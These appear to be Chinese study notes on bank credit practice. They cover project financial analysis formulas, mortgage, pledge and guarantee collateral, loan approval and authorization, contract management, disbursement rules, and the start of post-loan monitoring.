人力资源分析

  • 人力资源的选择
    • 自然结构
    • 文化结构
    • 专业技能结构
    • 业务或工种结构
  • 人力资源的供求预测与流动分析

项目财务分析

财务预测的审查

项目总投资、建设投资、流动资金估算的审查

项目总投资的审查
建设投资估算的审查
流动资金估算的审查

  • 流动资金 = 流动资产 - 流动负债

  • 项目所需流动资金 = 项目流动资金总需用额 - 流动负债

  • 项目流动资金总需用额 = 存货 + 应收账款 + 现金

  • 存货 = 外购原辅材料、燃料 + 在产品 + 产成品

  • 流动负债 = 应付账款

  • 流动资金本年增加额 = 本年流动资金 - 上年流动资金

  • 周转次数 = 360 / 最低周转天数

  • 应收账款 = 年经营成本 / 周转次数

  • 在产品 = (年生产成本 - 年折旧) / 周转次数

  • 产成品 = (年生产成本 - 年折旧 + 年管理费用) / 周转次数

  • 应付账款 = 原材料、燃料和外购动力全年费用 / 周转次数

  • 现金 = (年工资福利费 + 年其他费用) / 周转次数

  • 年其他费用

    = (制造费用 + 管理费用 + 财务费用 + 销售费用)

    - (工资及福利费 + 折旧费 + 维简费 + 摊销费 + 修理费 + 利息支出)

建设资金和流动资金分年使用计划

固定资产、无形资产、递延资产原值确定的审查及其折旧和摊销办法的审查

固定资产原值的确定原则
  • 购入的固定资产按照购买价加上支付的运输费、保险费、包装费、安装成本和缴纳的税金确定
  • 自行建造的固定资产，按照建造过程中发生的全部实际支出确定
  • 投资者投入的固定资产，按资产评估确认或合同协议确定的价值入账
  • 融资租入的固定资产，按照租赁合同确定的价款加上运输费、保险费、安装调试费等确定
无形资产、递延资产原值的确定
  • 无形资产是指企业长期使用但没有实物形态的资产，包括土地使用权、专利权、商标权、商誉等
  • 递延资产是指不能计入当期损益，应当在以后年度内分期摊销的各项费用，包括开办费和以经营租赁租入的固定资产改良支出等
  • 无形资产原值的确定方法与固定资产相同，递延资产按实际发生值计算，与递延资产有关的建设期间发生的利息和汇兑损失应计入递延资产价值
固定资产折旧方法与无形资产、递延资产摊销方法

  • 项目评估中，固定资产折旧可用分类折旧法计算，也可以用综合折旧法计算

  • 目前企业固定资产实行分类折旧，评估中一般先对固定资产进行分类

  • 根据财政部公布的折旧年限和残值率，采用平均年限法计算折旧，对于某些行业和企业，财政部允许实行快速折旧法

  • 平均年限法的固定资产折旧计算公式：

    • 固定资产年折旧率 = (1 - 预计的净残值率) · 100% / 折旧年限

    • 固定资产年折旧额 = 固定资产原值 · 年折旧率

    • 预计净残值率一般取 3%～5%

  • 快速折旧法的方法很多，财政部规定使用的有两种

    • 双倍余额递减法

      • 年折旧率 = 2 / 折旧年限

      • 年折旧额 = 固定资产账面净值 · 年折旧率

    • 年数总和法

      • 年折旧率 = (折旧年限 - 已使用年限) / [折旧年限 · (1 + 折旧年限) / 2]

      • 年折旧额 = (固定资产原值 - 预计净残值) · 年折旧率

成本的审查

  • 总成本

    • 总成本 = 制造成本 + 管理费用 + 财务费用 + 销售费用

    • 制造成本 = 直接材料 + 直接工资 + 其他直接费用 + 制造费(包括折旧费、修理费、其他费用)

    • 管理费用 = 公司经费 + 咨询审计费 + 技术转让费 + 无效资产与递延资产摊销 + 业务招待费 + 坏账损失 + 其他

    • 财务费用 = 经营期汇兑净损失 + 利息净支出 + 金融机构手续费 + 其他

    • 销售费用 = 运输、装卸包装费 + 广告费、销售服务费 + 差旅费、办公费 + 其他

  • 经营成本

    • 经营成本 = 总成本 - 折旧费 - 维简费 - 无形资产、递延资产摊销费 - 利息支出

销售收入审查

税金的审查

利润的审查

项目现金流量分析

  • 现金流量分析是根据项目在计算期(包括建设期和经营期)内各年的现金流入和流出，通过现金流量表计算各项静态和动态评价指标，以反映项目的获利能力和还款能力
  • 通过现金流量表计算的评价指标
    • 投资回收期(静态、动态)
    • 净现值
    • 净现值率
    • 内部收益率
    • 等指标
  • 根据投资计算基础的不同，现金流量表主要分为以下两种：
    • 全部投资现金流量表
    • 自有资金现金流量表

项目盈利能力分析

财务内部收益率

  • TODO

财务净现值

  • TODO

净现值率

  • FNPVR = FNPV / PVI

  • FNPVR：净现值率

  • FNPV：财务净现值

  • PVI：总投资现值

投资回收期

  • TODO

投资利润率

  • 投资利润率 = (年利润总额或年平均利润总额 / 项目总投资) · 100%

投资利税率

  • 投资利税率 = (年利税总额或年平均利税总额 / 项目总投资) · 100%

  • 年利税总额 = 年销售收入（不含销项税）- 年总成本费用（不含进项税）

  • 或

  • 年利税总额 = 年利润总额 + 年销售税金及附加（不含增值税）

资本金利润率

  • 资本金利润率 = (年利润总额或年平均利润总额 / 资本金) · 100%

项目清偿能力分析

资产负债率

  • 反映项目各年负债水平、财务风险及偿债能力的指标

  • 资产负债率 = (负债合计 / 资产合计) · 100%

贷款偿还期

  • 一般用于计算项目偿还固定资产贷款所需的时间
  • 此指标的计算有两个目的
    • 在还款时间及还款方式既定的情况下，计算项目能否满足还款要求，可以采用综合还贷的方式
    • 以最大能力法计算项目贷款偿还期。最大能力法即以项目本身投产以后产生的可还款资金偿还项目贷款所需的时间

流动比率

  • 流动比率 = 流动资产 / 流动负债

速动比率

  • 速动比率（Quick Ratio，QR），又称“酸性测验比率”（Acid-test Ratio）

  • 是指速动资产对流动负债的比率

  • 它用于衡量企业流动资产中可以立即变现用于偿还流动负债的能力

  • 货币资金、短期投资、应收票据、应收账款、其他应收款项等

  • 但存货、预付账款、待摊费用等则不应计入

  • 速动比率 = ((流动资产 - 存货 - 预付账款 - 待摊费用) / 流动负债总额) · 100%

  • 一般来说，流动比率和速动比率越高，说明企业资产的变现能力越强，短期偿债能力亦越强

财务评价的基本报表

基本财务报表

  • 根据方法与参数的规定，基本财务报表有：
    • 现金流量表：现金流量表（全部投资）、现金流量表（自有资金）；
    • 损益表；
    • 资金来源与运用表；
    • 资产负债表；
    • 借款还本付息表。
  • 在评估中，为编制基本财务报表，还必须编制一些辅助报表，辅助报表可以根据计算需要编制，一般包括：
    • 固定资产投资估算表；
    • 流动资金估算表；
    • 投资计划与资金筹措表；
    • 固定资产折旧费计算表；
    • 无形及递延资产摊销估算表；
    • 总成本费用估算表；
    • 产品销售（营业）收入和销售税金及附加估算表；
    • 投入物成本计算表（用于计算生产中投入物成本和进项税）。

评估报表设置说明

基本财务报表的编制和使用说明

  • 全部投资现金流量表
  • 自有资金现金流量表
  • 损益表
  • 资金来源与运用表
  • 资产负债表

项目不确定性分析

盈亏平衡分析

  • 盈亏平衡点产量 = 年固定成本 /（产品单价 - 单位产品可变成本 - 单位产品销售税金）

  • 盈亏平衡点销售收入 = 产品单价 · 年固定成本 /（产品单价 - 单位产品可变成本 - 单位产品销售税金）

  • 盈亏平衡点生产能力利用率 = 年固定成本 /（年销售收入 - 年变动成本 - 年销售税金）· 100%

  • 盈亏平衡点销售单价 = 达产年份单位产品固定成本 + 单位产品变动成本 + 单位产品销售税及附加

敏感性分析

第八章：贷款担保分析

贷款担保概述

概念

  • 贷款担保是指为提高贷款偿还的可能性，降低银行资金损失的风险，银行在发放贷款时要求借款人提供担保，以保障贷款债权实现的法律行为

作用

  • 协调和稳定商品流转秩序，使国民经济健康运行
  • 降低银行贷款风险， 提高信贷资金使用效率
  • 促进借款企业加强管理， 改善经营管理状况
  • 巩固和发展信用关系

分类

抵押

  • 借款人或第三人在不转移财产占有权的情况下，将财产作为债权的担保，银行持有抵押财产的担保权益

质押

  • 指债权人与债务人或债务人提供的第三人以协商订立书面合同的方式， 移转 债务人或者债务人提供的第三人的 动产或权利的占有

保证

  • 保证是指保证人和债权人约定，当债务人不履行债务时，保证人按照约定履行债务或者承担责任的行为

留置

  • 债权人按照合同约定 占有 债务人的动产

定金

  • 定金较少用于银行信贷业务中

担保范围

  • 主债权
    • 借款合同、银行承兑协议、出具保函协议书等各种信贷主合同所确定的独立存在的债权
  • 利息
    • 主债权所派生的利息
  • 违约金
    • 法律规定或合同约定的债务人不履行或不完全履行债务时，应付给银行的金额
  • 损害赔偿金
    • 债务人因不履行或不完全履行债务给银行造成损失时，应向银行支付的补偿费
  • 实现债权的费用
    • 债务人在债务履行期届满而不履行或不完全履行债务，银行为实现债权而支出的合理费用
    • 一般包括诉讼费、鉴定评估费、公证费、拍卖费、变卖费、执行费等费用
  • 质物保管费用
    • 质押期间，因保管质物所发生的费用
  • 如需另行约定担保责任范围，可在担保合同中予以约定

抵押担保

抵押的设定条件

范围

可以抵押
  1. 抵押人所有的房屋和其他地上定着物；
  2. 抵押人所有的机器、交通运输工具和其他财产；
  3. 抵押人依法有权处分的国有土地使用权、房屋和其他地上定着物；
  4. 抵押人依法有处分权的原材料、半成品、产品；
  5. 抵押人依法承包并经发包方同意抵押的荒山、荒沟、荒滩等荒地的土地使用权；
  6. 依法可以抵押的其他财产。
不得抵押
  1. 土地所有权；
  2. 耕地、宅基地、自留地、自留山等集体所有的土地使用权， 但担保法特别规定的除外；
  3. 学校、幼儿园、医院等以公益为目的的事业单位、社会团体的教育设施、医疗卫生设施和其他社会公益设施；
  4. 所有权、使用权不明或者有争议的财产；
  5. 依法被查封、扣押、监管的财产；
  6. 依法不得抵押的其他财产。

抵押额度的确定

抵押物的认定
抵押物的估价

  • 估价方法：

    • 对于房屋建筑的估价，主要考虑房屋和建筑物的用途及经济效益、新旧程度和可能继续使用的年限、原来的造价和现在的造价等因素；
    • 对于机器设备的估价，主要考虑的因素是无形损耗和折旧，估价时应扣除折旧；
    • 对可转让的土地使用权的估价，取决于该土地的用途、土地的供求关系

  • 抵押率的确定：

    • 一是抵押物的适用性、变现能力
      • 选择的抵押物适用性要强，由适用性判断其变现能力
      • 对变现能力较差的，抵押率应适当降低。
    • 二是抵押物价值的变动趋势
      • 实体性贬值，即由于使用磨损和自然损耗造成的贬值；
      • 功能性贬值，即由于技术相对落后造成的贬值；
      • 经济性贬值，即由于外部环境变化引起的贬值或增值

  • 抵押率 = (担保债权本息总额 / 抵押物评估价值额) · 100%

抵押贷款额度的确认

  • 抵押贷款额 = 抵押物评估值 · 抵押贷款率

抵押合同的签订
  • 贷款发放前，抵押人与银行要以书面形式签订抵押合同
  • 抵押合同应当包括以下内容：
    • 被担保的主债权种类、数额；
    • 债务人履行债务的期限；
    • 抵押物的名称、数量、质量、状况、所在地、所有权权属或者使用权权属；
    • 抵押担保的范围；
    • 当事人认为需要约定的其他事项。
  • 根据《担保法》的规定，办理财产抵押的，还应按有关规定办理抵押登记手续，方可取得贷款

抵押的效力

  • 抵押担保的范围
    • 包括主债权及利息、违约金、损害赔偿金和实现抵押权的费用
    • 如果抵押合同另有规定的，按照规定执行
  • 抵押物的转让
  • 抵押物的保全
    • 银行若发现抵押人对抵押物使用不当或保管不善，足以使抵押物价值减少时，有权要求抵押人停止其行为
  • 抵押权的实现
    • 抵押权与其担保的债权同时存在，债权消失的，抵押权也消失

抵押风险分析

抵押风险分析

  1. 抵押物虚假或严重不实
  2. 未办理有关登记手续
  3. 将共有财产抵押而未经共有人同意
  4. 以第三方的财产作抵押而未经财产所有人同意
  5. 资产评估不真实， 导致抵押物不足值
  6. 未抵押有效证件或抵押的证件不齐
  7. 因主合同无效， 导致抵押关系无效
  8. 抵押物价值贬损或难以变现

抵押风险防范

  1. 对抵押物进行严格审查
  2. 对抵押物的价值进行准确评估
  3. 做好抵押物登记工作， 确保抵押关系的效力
  4. 抵押合同期限应覆盖贷款合同期限

质押担保

质押与抵押的区别

标的物的范围不同

  • 质权的标的物为动产和财产权利，动产质押形成的质权为典型质权
  • 我国法律未规定不动产质权
  • 抵押权的标的物 可以是动产和不动产，以不动产最为常见

标的物的占有权是否发生转移不同

  • 抵押权 的设立 不转移 抵押标的物的占有
  • 而 质权 的设立 必须转移 质押标的物的占有
  • 这是质押与抵押最重要的区别

对标的物的保管义务不同

  • 抵押权的设立不交付抵押物的占有，因而抵押权人没有保管标的物的义务
  • 而在质押的场合，质权人对质物则负有善良管理人的注意义务

受偿顺序不同

  • 一物只能设立一个质押权，没有受偿的顺序问题
  • 一物可设数个抵押权，当数个抵押权并存时，有受偿的先后顺序之分

能否重复设置担保不同

  • 抵押担保中，抵押物价值大于所担保债权的余额部分，可以再次抵押，即抵押人可以同时或者先后就同一项财产向两个以上的债权人进行抵押
  • 质押合同是从质物移交给质权人占有之日起生效，因此在实际中 不可能存在 同一质物上重复设置质权的现象

对标的物孳息的收取权不同

  • 抵押期间，不论抵押物所生的是天然孳息还是法定孳息，均由抵押人收取，抵押权人无权收取
  • 债务人不履行债务致使抵押物被法院依法扣押的情况 下，自扣押之日起，抵押权人才有权收取孳息
  • 质押期间，质权人依法有权收取质物所生的天然孳息和法定孳息

质押的设定条件

质押的范围

商业银行可接受的财产质押
  1. 出质人所有的、依法有权处分并可移交质权人占有的动产；
  2. 汇票、支票、本票、债券、存款单、仓单、提单；
  3. 依法可以转让的基金份额、股权；
  4. 依法可转让的商标专用权、专利权、著作权中的财产权等知识产权；
  5. 依法可以质押的其他权利，包括合同债权、不动产受益权和租赁权、项目特许经营权、应收账款、侵权损害赔偿、保险赔偿金的受益转让权等。
商业银行不可接受的财产质押
  1. 所有权、使用权不明或有争议的财产；
  2. 法律法规禁止流通的财产或者不可转让的财产；
  3. 国家机关的财产；
  4. 依法被查封、扣押、监管的财产；
  5. 租用的财产；
  6. 其他依法不得质押的其他财产

质押材料

  • 质押财产的产权证明文件；
  • 出质人资格证明
    • 法人：经工商行政管理部门年检合格的企业法人营业执照、事业法人营业执照；
    • 法人分支机构：经工商行政管理部门年检合格的营业执照、授权委托书。
  • 出质人须提供有权作出决议的机关作出的关于同意提供质押的文件、决议或其他具有同等法律效力的文件或证明（包括但不限于授权委托书、股东会决议、董事会决议）。
  • 财产共有人出具的同意出质的文件

质物的合法性

  • 出质人对质物、质押权利占有的合法性
  • 质物、质押权利的合法性

质押价值、质押率的确定

质押价值的确定
  • 有明确市场价格的质押品，其公允价值即为该质押品的市场价格
    • 国债、上市公司流通股票、存款单、银行承兑汇票等
  • 没有明确市场价格的质押品，则选择财务报告、未来现金流入量的限制、交易双方最新的谈判价格等较低者为质押品的公允价值
    • 如上市公司法人股权等
质押率的确定
  • 质物的适用性、变现能力
    • 对变现能力较差的质押财产应适当降低质押率。
  • 质物、质押权利价值的变动趋势
    • 一般可从质物的实体性贬值、功能性贬值及质押 权利的经济性贬值或增值三方面进行分析

质押的效力

质押风险分析

质押风险分析

  • 虚假质押风险
  • 司法风险
  • 汇率风险
  • 操作风险

贷款质押风险防范

保证担保

保证人资格与条件

资格

  • 具有代主债务人履行债务能力及意愿的法人、其他组织或者公民
    • 保证人必须是 具有民事行为能力 的人
    • 保证人必须具有 代为履行主债务的资力

评价

审查保证人的主体资格
  • 经商业银行认可的具有较强代为清偿能力的、无重大债权债务纠纷的以下单位和个人可以接受为保证人：
    • 金融机构；
    • 从事符合国家法律、法规的生产经营活动的企业法人；
    • 从事经营活动的事业法人；
    • 其他经济组织；
    • 自然人
  • 商业银行不接受下列单位作为保证人：
    • 国家机关，但经国务院批准为使用外国政府或者国际经济组织贷款进行转贷的除外；
    • 以公益为目的的事业单位、社会团体：学校、幼儿园、医院、科学院、图书馆、广播电台、电视台等；
    • 无企业法人的书面授权或者超出企业法人书面授权范围提供保证的企业法人的分支机构；
    • 企业法人的职能部门。
评价保证人的代偿能力
保证率的计算

  • 保证率 = (申请保证贷款本息 / 可接受保证限额) · 100%

贷款保证风险分析

贷款保证存在的主要风险因素

  • 保证人不具备担保资格
  • 保证人不具备担保能力
  • 虚假担保人
  • 公司互保
  • 保证手续不完备，保证合同产生法律风险
  • 超过诉讼时效，贷款丧失胜诉权

贷款保证的风险防范

  • 核保
  • 签订好保证合同
  • 贷后管理
    • 注意以下两点：
    • 证人的经营状况是否变差， 或其债务是否增加， 包括向银行借款或又向他人提供担保
    • 银行与借款人协商变更借款合同应经保证人同意，否则可能保证无效

第九章：信贷审批

贷款审批原则

信贷授权

信贷授权的含义

定义
  • 信贷授权是指银行业金融机构对其所属业务职能部门、分支机构和关键业务岗位开展授信业务权限的具体规定
  • 这里的信贷包括贷款、贴现、透支、保理、承兑、担保、信用证、信贷证明等银行业金融机构表内外授信业务
分类
  • 直接授权
  • 转授权
    • 受权的经营单位在总部直接授权的权限内，对本级行各有权审批人、相关授信业务职能部门和所辖分支机构转授一定的授信审批权限
  • 临时授权
    • 被授权者因故不能履行业务审批职责时，临时将自己权限范围内的信贷审批权限授予其他符合条件者代为行使，并到期自动收回
意义

信贷授权的原则与方法

信贷授权应遵循的基本原则
  • 授权适度原则
  • 差别授权原则
  • 动态调整原则
  • 权责一致原则
信贷授权确定的方法
信贷授权的方式
  • 信贷授权的载体
    • 授权可以采用授权书、规章制度、部门职责、岗位职责等书面形式
    • 其中，授权书比较规范、正式，也较为常用
    • 授权书应当载明以下内容：
      • 授权人全称和法定代表人姓名；
      • 受权人全称和负责人姓名；
      • 授权范围和权限；
      • 关于转授权的规定；
      • 授权书生效日期和有效期限；
      • 对限制越权的规定；
      • 其他需要规定的内容；
      • 授权的有效期限一般为 1 年。
  • 信贷授权的形式
    • 常用的授权形式有以下几种：
    • 按受权人划分
    • 按授信品种划分
    • 按行业进行授权
    • 按客户风险评级授权
    • 按担保方式授权

审贷分离

含义

定义
  • 将信贷业务办理过程中的调查和审查环节进行分离，分别由不同层次机构和不同部门(岗位)承担，以实现相互制约并充分发挥信贷审查人员专业优势的信贷管理制度
意义
  • 一是信贷审查人员独立判断风险，保证信贷审查审批的独立性和科学性；
  • 二是信贷审查人员相对固定，有利于提高专业化水平，实现专家审贷，弥补客户经理在信贷专业分析技能方面的不足，减少信贷决策失误；
  • 三是从全局角度来讲，审贷分离对促进银行业金融机构的信贷管理机制改革、提高信贷管理水平以及提 高信贷资产质量具有重要的现实意义

审贷分离的一般操作规程

审贷分离的形式
  • 岗位分离
  • 部门分离
  • 地区分离
信贷业务岗与信贷审查岗的职责划分
  • 信贷业务岗职责
  • 信贷审查岗职责
    • 表面真实性审查
    • 完整性审查
    • 合规性审查
    • 合理性审查
    • 可行性审查
审贷分离实施要点
  • 审查人员与借款人原则上不单独直接接触
  • 审查人员无最终决策权
  • 审查人员应真正成为信贷专家
  • 实行集体审议机制
  • 按程序审批

贷款审查事项及审批要素

审查事项

含义

原则

  • “了解你的客户”
  • “了解你客户的业务”
  • “了解你客户的风险”

基本内容

  • 信贷资料完整性及调查工作与申报流程的合规性审查
  • 借款人主体资格及基本情况审查
  • 信贷业务政策符合性审查
  • 财务因素审查
  • 非财务因素审查
  • 担保审查
  • 充分揭示信贷风险
  • 提出授信方案及结论

审批要素

含义

  • 广义上是指贷款审批方案中应包含的各项内容

审定要点

  1. 授信对象
  2. 贷款用途
  3. 授信品种
  4. 贷款金额
  5. 贷款期限
  6. 贷款币种
  7. 贷款利率
  8. 担保方式
  9. 发放条件
  10. 支付要求
  11. 贷后管理要求

需要注意的问题

  1. 向未经法人授权的非法人的分公司、未满 18 周岁的未成年人等不符合贷款主体资格的对象授信
  2. 贷款期限设置与借款人现金流、经营周期或实际需求不匹配
  3. 未按企业规模、还款来源或实际融资需求合理设定授信额度，授信额度与借款人的经营规模或收入水平不匹配
  4. 对部分贷款风险分析不够到位，过分依赖第二还款来源，忽视对客户本身的历史背景、关联交易、经营能力和行业产品的深入分析，对一些违背规章制度、交易背景存疑贷款的决策不够审慎
  5. 对借款人在贷款期间的最低财务指标没有设定
  6. 贷款用途描述不清、似是而非，发放无指定用途贷款，或者发放个人股权投资性贷款

授信额度

定义

  • 银行在客户授信限额以内，根据客户的还款能力和银行的客户政策最终决定给予客户的授信总额

单笔贷款授信额度

借款企业额度

集团借款企业额度

决定因素

  1. 了解并测算借款企业的需求，通过与借款企业进行讨论，对借款原因进行分析
  2. 客户的还款能力
  3. 借款企业对借贷金额的需求
  4. 银行或借款企业的法律或监督条款的限制，以及借款合同条款对公司借贷活动的限制
  5. 贷款组合管理的限制，
  6. 银行的客户政策，即银行针对客户提出的市场策略
  7. 关系管理因素，相对于其他银行或债权人，银行愿意提供给借款企业的贷款数额和关系盈利能力

授信额度的确定流程

  1. 通过与借款需求企业的讨论，了解分析借款原因和借款需求
  2. 通过评估借款原因，明晰短期和长期借款的理由
  3. 讨论具体需求额度和借款原因及其合理性
  4. 辨别和评估关键的宏观、行业和商业风险，以及影响借款企业的资产转换周期和债务清偿能力的因素
  5. 进行偿债能力分析，评估满足未来债务清偿所需的现金流量
  6. 整合所有的授信额度作为借款企业的信用额度

第十章：贷款合同与发放支付

贷款合同与管理

贷款合同签订

贷款合同概述

定义
  • 贷款合同是从贷款人主体角度提出的，一般是指可以作为贷款人的银行业金融机构与法人、其他组织之间就贷款的发放与收回等相关事宜签订的规范借贷双方权利义务的书面法律文件。从借款人主体角度而言，也称为借款合同。
内容
  1. 当事人的名称(姓名)和住所
  2. 贷款种类
  3. 币种
  4. 贷款用途
  5. 贷款金额
  6. 贷款利率
  7. 贷款期限
  8. 还款方式
  9. 借贷双方的权利与义务
  10. 担保方式
  11. 违约责任
  12. 等
分类
  • 格式合同
    • 指银行业金融机构根据业务管理要求，针对某项业务制定的在机构内部普遍使用的格式统一的合同
  • 非格式合同
制定原则
  • 不冲突原则
  • 适宜相容原则
  • 维权原则
  • 完善性原则

贷款合同的签订

  1. 填写合同
  2. 审核合同
  3. 签订合同

贷款合同管理

贷款合同管理的定义及模式

定义

  • 贷款合同管理是指按照银行业金融机构内部控制与风险管理的要求，对贷款合同的制定、修订、废止、选用、填写、审查、签订、履行、变更、解除、归档、检查等一系列行为进行管理的活动。

模式

  • 银行业金融机构法律工作部门统一归口管理和各业务部门、各分支机构分级划块管理相结合

存在的问题

贷款合同存在不合规、不完备等缺陷
  • 未明确约定银行提前收回贷款以及解除合同的条件
  • 未明确约定罚息的计算方法
  • 担保方式的约定不明确、不具体
    • 担保是保护银行利益的重要手段之一
  • 对借款人未按照约定用途使用贷款资金约束不力
合同签署前审查不严
签约过程违规操作
  • 对借款人基本信息重视程度不够
  • 对有权签约人主体资格审查不严
  • 抵押手续不完善或抵押物不合格
履行合同监管不力
  • 借款合同的变更不符合法律规定
  • 扣款侵权，引发诉讼
合同救济超时

加强合同管理的实施要点

  • 修订和完善贷款合同等协议文件
  • 建立完善有效的贷款合同管理制度
  • 加强贷款合同规范性审查管理
    1. 合同文本选用正确；
    2. 在合同中落实的审批文件所规定限制性条件准确、完备；
    3. 格式合同文本的补充条款合规；
    4. 主从合同及凭证等附件齐全且相互衔接；
    5. 合同的填写符合规范要求；
    6. 一式多份合同的形式内容一致；
    7. 其他应当审查的规范性内容。
  • 实施履行监督、归档、检查等管理措施
  • 做好有关配套和支持工作

贷款的发放

贷放分控

概述

  • 贷放分控是指银行业金融机构将贷款审批与贷款发放作为两个独立的业务环节，分别进行管理和控制，以达到降低信贷业务操作风险的目的。
  • “贷”：信贷业务流程中贷款调查、贷款审查和贷款审批等环节，尤其是指贷款审批环节，以区别贷款发放与支付环节
  • “放”：放款，特指贷款审批通过后，由银行通过审核，将符合放款条件的贷款发放或支付出去的业务环节

操作要点

设立独立的放款执行部门
明确放款执行部门的职责
  1. 审核银行内部授信流程的合法性、合规性、完整性和有效性
  2. 核准放款前提条件
    • 审核合规性要求的落实情况
    • 审核限制性条款的落实情况
  3. 核实担保的落实情况
  4. 审核审批日至放款核准日期间借款人 重大风险变化情况
  5. 审核资本金同比例到位的落实情况
  6. 审核申请提款金额是否与项目进度相匹配
  7. 审核提款申请是否与贷款约定用途一致
  8. 其他职责

贷款发放管理

发放原则

  • 计划、比例放款原则
  • 进度放款原则
  • 资本金足额原则

发放条件

先决条件
  • 贷款类文件
  • 借款人及保证人（如有）文件
  • 与项目有关的合同（协议）
  • 担保类文件
  • 与登记、批准、备案、印花税有关的文件
  • 其他类文件
  • 以后的每次放款需提交的文件
    • 提款申请；
    • 借款凭证；
    • 工程检验师出具的工程进度报告和成本未超支的证明；
    • 贷款用途证明文件；
    • 其他贷款协议规定的文件。
担保手续的完善

贷款发放审查

贷款合同审查
  1. 借款合同
    • 贷款种类；
    • 借款用途；
    • 借款金额；
    • 贷款利率；
    • 还款方式；
    • 还款期限；
    • 违约责任和双方认为需要约定的其他事项。
  2. 保证合同
    • 被保证的贷款数额；
    • 借款人履行债务的期限；
    • 保证的方式；
    • 保证担保的范围；
    • 保证期间；
    • 双方认为需要约定的其他事项。
  3. 抵押合同
    • 抵押贷款的种类和数额；
    • 借款人履行贷款债务的期限；
    • 抵押物的名称、数量、质量、状况、所在地、所有权权属或使用权权属及抵押的范围；
    • 当事人认为需要约定的其他事项。
  4. 质押合同
    • 被质押的贷款数额；
    • 借款人履行债务的期限；
    • 质物的名称、数量、质量；
    • 质押担保的范围；
    • 质物移交的时间；
    • 质物生效的时间；
    • 当事人认为需要约定的其他事项。
提款期限审查
用款申请材料检查
  • 审核借款凭证
  • 变更提款计划及承担费的收取
  • 检查和监督借款人的借款用途和提款进度
账户审查
提款申请书、借款凭证审查

放款操作程序

操作程序
  1. 借款人按合同要求提交提款申请和其他有关资料；
  2. 银行受理借款人提款申请书；
  3. 贷款发放审查，签订贷款合同；
  4. 有关用款审批资料按内部审批流程经有权签字人签字同意；
  5. 按账务处理部门的要求提交审批及相关用款凭证办理提款手续；
  6. 所提贷款款项入账后，向账务处理部门索取有关凭证，入档案卷保存；
  7. 建立台账并在提款当日记录。
注意事项
  • 借款人是否已办理开户手续；
  • 提款日期、金额及贷款用途是否与合同一致；
  • 是否按中国人民银行信贷登记咨询系统的要求及时更新数据信息并发送；
  • 是否按国家外汇管理局的要求报送数据

停止发放贷款的情况

挪用贷款的情况
  • 用贷款进行股本权益性投资（并购贷款除外）；
  • 用贷款在有价证券、期货等方面从事投机经营；
  • 未依法取得经营房地产资格的借款人挪用贷款经营房地产业务；
  • 套取贷款相互借贷牟取非法收入；
  • 借款企业挪用流动资金搞基本建设或用于其他不符合合同约定的用途。
其他违约情况
  • 违反国家政策法规，使用贷款进行非法经营
  • 未按合同规定清偿贷款本息
违约后的处理
  • 银行有权分别或同时采取下列措施：
  • 要求借款人限期纠正违约事件；
  • 停止借款人提款或取消借款人尚未提用的借款额度；
  • 宣布贷款合同项下的借款本息全部立即到期，根据合同约定立即从借款人在银行开立的存款账户中扣款用于偿还被银行宣布提前到期的所欠全部债务；
  • 宣布借款人在与银行签订的其他贷款合同项下的借款本息立即到期，要求借款人立即偿还贷款本息及费用。

贷款支付

实贷实付

含义

概念
  • 实贷实付是指银行业金融机构根据贷款项目进度和有效贷款需求，在借款人需要对外支付贷款资金时，根据借款人的提款申请以及支付委托，将贷款资金主要通过贷款人受托支付的方式，支付给符合合同约定的借款人交易对象的过程
核心要点
  • 实贷实付的根本目的是 满足有效信贷需求
  • 实贷实付的基本要求是 按进度发放贷款
  • 实贷实付的重要手段是 受托支付
  • 实贷实付的外部执行依据是 协议承诺

推行实贷实付的现实意义

  • 有利于将信贷资金引入实体经济
  • 有利于加强贷款使用的精细化管理
  • 有利于银行业金融机构管控信用风险和法律风险

受托支付

含义

  • 贷款人在确认借款人满足贷款合同约定的提款条件后，根据借款人的提款申请和支付委托，将贷款资金通过借款人账户支付给符合合同约定用途的借款人交易对象

明确受托支付的条件

  • 具有以下情形之一的流动资金贷款，原则上应采用贷 款人受托支付方式：
    • 一是与借款人新建立信贷业务关系且借款人信用状况一般；
    • 二是支付对象明确且单笔支付金额较大；
    • 三是贷款人认定的其他情形
  • 同时《固定资产贷款管理暂行办法》规定了固定资产贷款必须采用贷款人受托支付的刚性条件：
    • 对单笔金额超过项目总投资 5% 或超过 500 万元人民币的贷款资金支付，应采用贷款人受托支付方式

操作要点

  • 明确借款人应提交的资料要求
  • 明确支付审核要求
  • 完善操作流程
  • 合规使用放款专户

自主支付

含义

  • 贷款人在确认借款人满足合同约定的提款条件后，根据借款人的提款申请将贷款资金发放至借款人账户后，由借款人自主支付给符合合同约定用途的借款人交易对象

操作要点

  • 明确贷款发放前的审核要求
  • 加强贷款资金发放和支付后的核查
    • 分析借款人是否按约定的金额和用途实施了支付；
    • 判断借款人实际支付清单的可信性；
    • 借款人实际支付清单与计划支付清单的一致性，不一致的应分析原因；
    • 借款人实际支付是否超过约定的借款人自主支付的金额标准；
    • 借款人实际支付是否符合约定的贷款用途；
    • 借款人是否存在化整为零规避贷款人受托支付的情形；
    • 其他需要审核的内容。
  • 审慎合规地确定贷款资金在借款人账户的停留时间和金额
    • 仍应遵从实贷实付原则，既要方便借款人资金支付，又要控制贷款用途；
    • 二是仍应遵守贷款与资本金同比例到位的基本要求，不得提前放贷。

第十一章：贷后管理

对借款人的贷后监控

经营状况监控

对信贷人员的要求

  • 要注意企业在日常的商务活动中是否出现不讲诚信的行为，是否出现隐瞒经营情况的现象及其他各种异常情况；
  • 对异常的经营情况和财务变动一定要进行调查和分析，找出问题根源

经营风险的体现

  1. 经营活动发生显著变化，出现停产、半停产或经营停止状态；
  2. 业务性质、经营目标或习惯做法改变；
  3. 主要数据在行业统计中呈现出不利的变化或趋势；
  4. 兼营不熟悉的业务、新的业务或在不熟悉的地区开展业务；
  5. 不能适应市场变化或客户需求的变化；
  6. 持有一笔大额订单，不能较好地履行合约；
  7. 产品结构单一；
  8. 对存货、生产和销售的控制力下降；
  9. 对一些客户或供应商过分依赖，可能引起巨大的损失；
  10. 在供应链中的地位关系变化，如供应商不再供货或减少信用额度；
  11. 购货商减少采购；
  12. 企业的地点发生不利的变化或分支机构分布趋于不合理；
  13. 收购其他企业或者开设新销售网点，对销售和经营有明显影响，如收购只是出于财务动机，而与核心业务没有密切关系；
  14. 出售、变卖主要的生产性、经营性固定资产；
  15. 厂房和设备未得到很好的维护，设备更新缓慢，缺乏关键产品生产线；
  16. 建设项目的可行性存在偏差，或计划执行出现较大的调整，如基建项目的工期延长，或处于停缓状态，或预算调整；
  17. 借款人的产品质量或服务水平出现明显下降；
